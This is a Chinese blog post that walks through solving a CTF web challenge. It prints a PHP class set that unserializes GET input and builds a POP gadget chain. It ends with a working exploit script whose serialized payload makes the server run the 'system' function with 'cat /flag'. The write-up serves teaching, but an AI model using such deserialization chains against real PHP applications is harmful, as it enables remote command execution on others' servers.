CTF之旅WEB篇(3)--ezunser PHP反序列化

一、审题

对方朝你扔过来一串代码(当然这次又是蹭的题只说过程和思路):

<?php
highlight_file(__FILE__);
class A{
    public $name;
    public $age;

    public function __destruct(){
        call_user_func($this->age,'');
    }
}

class AAA{
    public $debug;

    public function __invoke(){

        echo $this->debug;
    }
    public function __toString(){
        return $this->debug;
    }
}



class B{

    public $func;
    public $arg;
    public function backdoor(){
        call_user_func($this->func,$this->arg."");
    }


}

class BBB{
    public $kkk;
    public $lll;
    public function __toString(){
        $this->kkk->backdoor();
        return "ok";
    }

}

if(isset($_GET['a'])){
    unserialize($_GET['a']);
}

好的,一眼又是我们的php反序列化,开审之前我们先复习复习我们的php中的魔术方法,建议先去看一遍我先前的一篇文章:

shutTD的CTF之旅WEB篇(2)--NewStarCTF 公开赛UnserializeOne详解_shutTD的博客-CSDN博客

好的复习完成,我们继续我们的反序列化,首先第一步找出我们的目标函数,也就是这个 call_user_func()函数,这个函数可以执行任意代码,详情使用的方法建议直接去查,在这我们的最终目的就是要执行到call_user_func('system','cat /flag') (至于为什么直接执行cat /flag,问就是经验哈哈,不过还是可以通过ls等命令查看找出flag的位置)

 二、找到反序列化入口,从入口延申向下

在A类中发现__destruct(),所以这就是我们的入口,因此我们第一步实例化一个A的对象:

$res = new A();

跟进__destruct():

  public function __destruct(){
        call_user_func($this->age,'');
    }

call_user_func($this->age,'')即执行age类的某个方法,所以我们很自然的想到__invoke()方法,所以我们在AAA类中发现该方法,因此我们的第二步就是:

$res->age = new AAA();

跟进__invoke():

public function __invoke(){

        echo $this->debug;
    }

看到echo我们直接想到能够触发__toString()方法,所以我们在BBB类中发现有__toString()方法,因此我们第三步就是:

$res->age->debug = new BBB();

跟进__toString():

public function __toString(){
        $this->kkk->backdoor();
        return "ok";
    }

发现调用了kkk属性的backdoor()方法,我们搜索一下哪个类中有此方法,在B类中我们发现此方法且刚好我们的目标函数就在这其中,马上就快到终点了,所以我们第四步就是:

$res->age->debug->kkk = new B();

三、调整思路,编写脚本

因为我们需要达到call_user_func('system','cat /flag'),所以我们的类B中属性应为:

class B{

    public $func = 'system';
    public $arg = 'cat /flag';
    public function backdoor(){
        call_user_func($this->func,$this->arg."");
    }


}

好的大功告成,开始编写脚本:

<?php
class A{
    public $name;
    public $age;
}

class AAA{
    public $debug;
}



class B{

    public $func='system';
    public $arg='cat /flag';
}

class BBB{
    public $kkk;
    public $lll;
}
$res=new A();
$res->age=new AAA();
$res->age->debug=new BBB();
$res->age->debug->kkk=new B();
echo serialize($res);

直接参数a等于序列化字符get提交即可获取flag啦!

四、总结

总的来说这道题思路还是很清晰的,是算偏易的题了不过新手拿来练手还是可以的逻辑很清晰,建议看完这篇文章后自己再试着做一遍哦!

  • 5
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

shutTD

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值